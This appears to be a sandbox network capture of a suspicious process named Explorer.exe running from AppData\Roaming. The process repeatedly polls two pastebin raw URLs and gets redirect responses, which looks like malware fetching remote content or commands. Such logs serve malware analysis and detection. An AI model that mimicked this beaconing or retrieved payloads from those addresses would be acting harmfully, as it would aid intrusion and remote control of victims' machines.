Dec 9, 2024 14:13:17.705460072 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:13:17 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:13:17 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef5406c9929422d-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49866	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:13:17.835493088 CET	74	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:13:18.956958055 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:13:18 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:13:18 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef540744d9343f1-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49885	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:13:25.751452923 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:13:26.862850904 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:13:26 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:13:26 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef540a5dcbe4411-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49890	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:13:27.066998959 CET	74	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:13:28.121633053 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:13:27 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:13:27 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef540ad89420f99-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49911	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:13:34.925534964 CET	50	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:13:36.073672056 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:13:35 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:13:35 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef540df1de042b8-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49915	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:13:36.196400881 CET	74	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:13:37.294008017 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:13:37 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:13:37 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef540e70c67c33b-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49934	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:13:44.159759998 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:13:45.273494959 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:13:45 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:13:45 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef54118ea4117b5-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49938	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:13:45.395200014 CET	74	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:13:46.809268951 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:13:46 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:13:46 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef54120ba2e42f8-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Dec 9, 2024 14:13:46.921603918 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:13:46 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:13:46 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef54120ba2e42f8-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49959	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:13:53.789258957 CET	50	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:13:54.860887051 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:13:54 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:13:54 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef54154de96efa7-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49964	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:13:54.984843016 CET	74	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:13:56.079979897 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:13:55 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:13:55 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef5415c7a574399-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49985	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:14:02.907685995 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:14:04.005120993 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:14:03 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:14:03 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef5418dfc607274-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49988	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:14:04.131097078 CET	74	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:14:05.225503922 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:14:05 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:14:05 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef541959dd67d16-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50010	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:14:12.035274029 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:14:13.143537998 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:14:12 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:14:12 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef541c70994431a-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Dec 9, 2024 14:14:13.145534039 CET	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:14:13.573201895 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:14:13 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:14:13 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef541c92c02431a-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50021	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:14:18.720252991 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:14:19.818943024 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:14:19 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:14:19 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef541f0c87b41b2-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Dec 9, 2024 14:14:19.825155973 CET	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:14:20.148924112 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:14:19 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:14:19 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef541f2eb0b41b2-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50023	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:14:25.289118052 CET	50	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:14:26.385080099 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:14:26 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:14:26 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef54219df960f74-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50025	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:14:26.752990961 CET	74	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
